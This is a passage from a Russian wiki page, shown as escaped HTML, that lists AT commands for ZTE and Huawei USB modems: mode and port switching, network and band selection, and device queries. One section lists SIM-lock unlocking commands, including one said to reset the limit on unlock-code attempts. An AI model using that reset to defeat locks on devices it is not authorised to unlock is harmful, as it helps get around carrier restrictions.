1,1 значит, что в сети зарегистрирован.
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://4pda.ru/forum/index.php?showtopic=276420&amp;amp;view=findpost&amp;amp;p=42331481&quot; class=&quot;urlextern&quot; title=&quot;https://4pda.ru/forum/index.php?showtopic=276420&amp;amp;view=findpost&amp;amp;p=42331481&quot; rel=&quot;ugc nofollow&quot;&gt;https://4pda.ru/forum/index.php?showtopic=276420&amp;amp;view=findpost&amp;amp;p=42331481&lt;/a&gt; &lt;br/&gt;

Вот например лишь малая часть АТ- команд для модемов серии ZTE MF
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT+ZCDRUN=E удаляет файл NODOWNLOAD.FLG
AT+ZCDRUN=F восстанавливает NODOWNLOAD.FLG
AT+ZCDRUN=8 удаляет файл autorun.flg
AT+ZCDRUN=9 восстанавливает autorun.flg&lt;/pre&gt;

&lt;p&gt;
Установка разных режимов работы для ZTE MF:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT+ZSNT=0,0,0 (Авто) — по умолчанию
AT+ZSNT=0,0,1 Автоматический выбор сети: GSM+WCDMA, предпочтение GSM
AT+ZSNT=0,0,2 Автоматический выбор сети: GSM+WCDMA, предпочтение WCDMA
AT+ZSNT=1,0,0 Автоматический выбор сети: только GSM
AT+ZSNT=2,0,0 Автоматический выбор сети: только WCDMA

AT+ZSNT=0,1,0 Ручной выбор сети: GSM+WCDMA
AT+ZSNT=1,1,0 Ручной выбор сети: только GSM
AT+ZSNT=2,1,0 Ручной выбор сети: только WCDMA&lt;/pre&gt;

&lt;p&gt;
Установить диапазон для ZTE MF:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;+ZBANDI
at+zbandi=0 (Auto) — Default Автоматическое переключение
at+zbandi=1 UMTS 850 + GSM 900/1800
at+zbandi=2 UMTS 2100 + GSM 900/1800 (Europe)
at+zbandi=3 UMTS 850/2100 + GSM 900/1800
at+zbandi=4 UMTS 850/1900 + GSM 850/1900&lt;/pre&gt;

&lt;p&gt;
AT команды для модемов на процессоре ICERA таких как например ZTE MF192, а так же ZTE MF652
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT команда AT%USBMODEM=0 переводит модем в режим «Только модем».
AT команда AT%USBMODEM=1 переводит модем в режим «Модем+CD ROM»&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;at_команды_для_модемов_huawei&quot;&gt;AT команды для модемов Huawei&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://telefon-unlock.ru/page/75/spisok-at-komand-dlya-modemov-huawei/&quot; class=&quot;urlextern&quot; title=&quot;https://telefon-unlock.ru/page/75/spisok-at-komand-dlya-modemov-huawei/&quot; rel=&quot;ugc nofollow&quot;&gt;https://telefon-unlock.ru/page/75/spisok-at-komand-dlya-modemov-huawei/&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 ATI - вывод информации о модеме
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CFUN=1 – перезагрузка модема, очень полезная команда не требует “передергивать” модем. После перезагрузки модем перерегистрируется в сети оператора.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CGMI - информация о производителе модема (Recieve: huawei)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CGMR - информация о версии прошивки (Recieve: 11.608.12.04.21)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CIMI - информация об IMSI номер SIM карты (Recieve: 250015800471114)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CGSN - информация о IMEI модема (Recieve: 353142033840706)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HWVER - информация о версии железа модема (Recieve: ^HWVER:“CD6ATCPU”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CSQ - посмотреть уровень радиосигнала
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CMDL - получить список всех комманд
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CGMM или AT+GMM - запросить название модели
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+COPS - информация о текущем операторе (Recieve: +COPS: (1,“MTS-RUS”,“MTS”,“25001”,0),(2,“MTS-RUS”,“MTS”,“25001”,2),,(0,1,2,3,4),(0,1,2))
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG? - текущий режим.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^GETPORTMODE – список всех устройств в модеме
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^VERSION? - информация о версии прошивки модема
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT+CLAC в ответе будет список поддерживаемых команд
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Включение голосовых функций модема:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CVOICE=? – проверка состояния голосовых функций модема (0 - значит включено)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CVOICE=0 – включение голосовых функций модема
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Включение / отключение режимов 2G и 3G:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=13,1,3fffffff,0,0 – режим только 2G
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,1,3fffffff,0,0 – режим предпочтительно 2G
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=14,2,3fffffff,0,1 – режим только 3G
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,2,3fffffff,0,1 – режим предпочтительно 3G
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,2,3fffff ff,0,2 – режим включение 2G и 3G
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Включение / отключение режимов WCDMA, HSDPA, HSPA+, HSPA:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSDPA=1 – режим HSDPA включен
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSDPA=0 – режим HSDPA выключен
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSUPA=1 – режим HSUPA включен
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSUPA=0 – режим HSUPA выключен
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSPA=0 – режим WCDMA
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSPA=1 – режим HSDPA
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSPA=2 – режим HSPA
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^HSPA=3 – режим HSPA+
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=13,1,3FFFFFFF,2,4 – режим только GPRS/EDGE
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=14,2,3FFFFFFF,2,4 – режим только 3G/WCDMA
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,1,3FFFFFFF,2,4 – режим предпочтительно GPRS/EDGE
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,2,3FFFFFFF,2,4 – режим предпочтительно 3G/WCDMA
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Команды необходимые для разблокировки модема (разлочка модема)
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CARDLOCK=“NCK Code” – ввод кода снятия блокировки (8-значное число)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CARDUNLOCK=“MD5 NCK Code” – сброс попыток ввода кода NCK кода разблокировки до 10 раз
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^CARDLOCK? – проверка состояния блокировки модема и количества попыток ввода кода разблокировки: (ответ модема: CARDLOCK: A,B,0 , если A=2 модем разблокирован, A=1 модем заблокирован – SimLock, если A=3 здесь два варианта либо вы израсходовали все 10 попыток ввести код, либо у вас в модеме кастомизированная прошивка, B – количество оставшихся попыток ввода кода разблокировки (по умолчанию 10 раз))
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT-команды для модемов Huawei E171 с прошивкой v21.156.00.00.143, E352, E353, E367, E398 и др.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2,1,2,3,7,A1,A2” (Установить конфигурацию по умолчанию)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2,1,2,3,7” (девайс в режиме “модем + сетевая карта”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,2,3,A2” (девайс в режиме “модем + Card Reader”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,2,3” (девайс в режиме “только модем”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,2,7” (девайс в режиме “сетевая карта + CD-ROM”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2,2,7” (девайс в режиме “сетевая карта”) - для Windows 7
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1;1,2” (девайс в режиме “модем + пользовательский интерфейс”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT? (Текущая конфигурация модема)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^GETPORTMODE (Отображение текущего активного режима)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2,1,2,3,7,A1,A2,4,5,6,A,B,D,E” (Сброс настроек по умолчанию)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Настройки режимов сети по умолчанию для Huawei E352
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 at^hspa?&lt;pre class=&quot;code&quot;&gt;^HSPA: 2&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT?
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;A1,A2;1,2,3,7,A1,A2&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG?
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;^SYSCFG:2,2,3FFFFFFF,1,2&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Настройки режимов сети по умолчанию для Huawei E352b (21.158.23.00.209)
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT?
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 A1,A2;1,16,3,2,A1,A2
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u043e\u0432 Huawei&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u043e\u0432_huawei&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;2103-7750&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;at-команды_для_модема_huawei_e1750&quot;&gt;AT-команды для модема Huawei E1750&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 АТ команды переключения режимов huawei E1750
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=0 (девайс в режиме только модем)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=1 (девайс в режиме модем + CD-ROM)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=6 (девайс в режиме только сетевая карта)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=268 для E1750 (девайс в режиме модем + CD-ROM + Card Reader)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=276 для E1750 (девайс в режиме сетевой карты + CD-ROM + Card Reader)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=256 (девайс в режиме модем + Card Reader, можно использовать как обычную флешку, отказавшись от установки драйверов модема)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E1750&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at-\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e1750&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;7751-8548&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;ат_команды_переключения_режимов_сети_huawei_e1750&quot;&gt;АТ команды переключения режимов сети huawei E1750&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=14,2,3fffffff,1,2 (Только 3G)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=13,1,3fffffff,1,2 (Только GSM)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,2,3fffffff,1,2 (Приоритет 3G)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0422 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0441\u0435\u0442\u0438 huawei E1750&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0442_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f_\u0440\u0435\u0436\u0438\u043c\u043e\u0432_\u0441\u0435\u0442\u0438_huawei_e1750&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;8549-8799&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;at-команды_переключения_режимов_сети_для_модема_huawei_e1820_e182e&quot;&gt;AT-команды переключения режимов сети для модема Huawei E1820 (E182E)&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=13,2,3fffffff,1,2 - только GSM
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,1,3fffffff,1,2 - преимущественно GSM
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=14,2,3fffffff,1,2 - только WCDMA
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=2,2,3fffffff,1,2 - преимущественно WCDMA
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E1820 (E182E)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at-\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f_\u0440\u0435\u0436\u0438\u043c\u043e\u0432_\u0441\u0435\u0442\u0438_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e1820_e182e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;8800-9162&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;at-команды_для_модема_huawei_e3131&quot;&gt;AT-команды для модема Huawei E3131&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,16,3,2,A1,A2” - (Установить конфигурацию по умолчанию)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,2,3,16,A1,A2” - (режим для работы модема с Android 4.0 (иногда работает))
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,16,3,2” - (девайс в режиме “модем + сетевая карта”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,3,2,A2” - (девайс в режиме “модем + Card Reader”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,3,2” - (девайс в режиме “только модем”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“FF;1,2” (девайс в режиме “модем + пользовательский интерфейс”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;2,16” - (девайс в режиме “сетевая карта”)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;2,16,A1” - (девайс в режиме “сетевая карта + CD-ROM”)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3131&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at-\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3131&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;9163-10069&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;at-команды_для_модема_huawei_e3131hilink&quot;&gt;AT-команды для модема Huawei E3131Hilink&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://192.168.1.1/html/switchProjectMode.html&quot; class=&quot;urlextern&quot; title=&quot;http://192.168.1.1/html/switchProjectMode.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://192.168.1.1/html/switchProjectMode.html&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=0 Перевод модема из режима Hilink в режим com портов
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=119 Возврат в исходный режим
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3131Hilink&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at-\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3131hilink&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;10070-10350&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;at_команды_для_модема_huawei_e303_hilink&quot;&gt;AT команды для модема Huawei E303 HiLink&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://192.168.1.1/html/switchProjectMode.html&quot; class=&quot;urlextern&quot; title=&quot;http://192.168.1.1/html/switchProjectMode.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://192.168.1.1/html/switchProjectMode.html&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=374 Перевод модема из режима Hilink в режим com портов
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^U2DIAG=375 Возврат в исходный режим
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E303 HiLink&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e303_hilink&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;10351-10633&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;at_команды_для_модема_huawei_e3272&quot;&gt;AT команды для модема Huawei E3272&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;62,61,76,A1,A2” - Установка по умолчанию для МТС 824F.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;10,12,16,A1,A2” - Установка по умолчанию для Мегафон М100-4.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3272&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3272&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;10634-10914&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;at_команды_для_модема_huawei_e3372&quot;&gt;AT команды для модема Huawei E3372&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;A1,A2” - Установка по умолчанию для МТС 827F.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFG=“2,2,3FFFFFFF,1,2” - Установка по умолчанию для МТС 827F.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


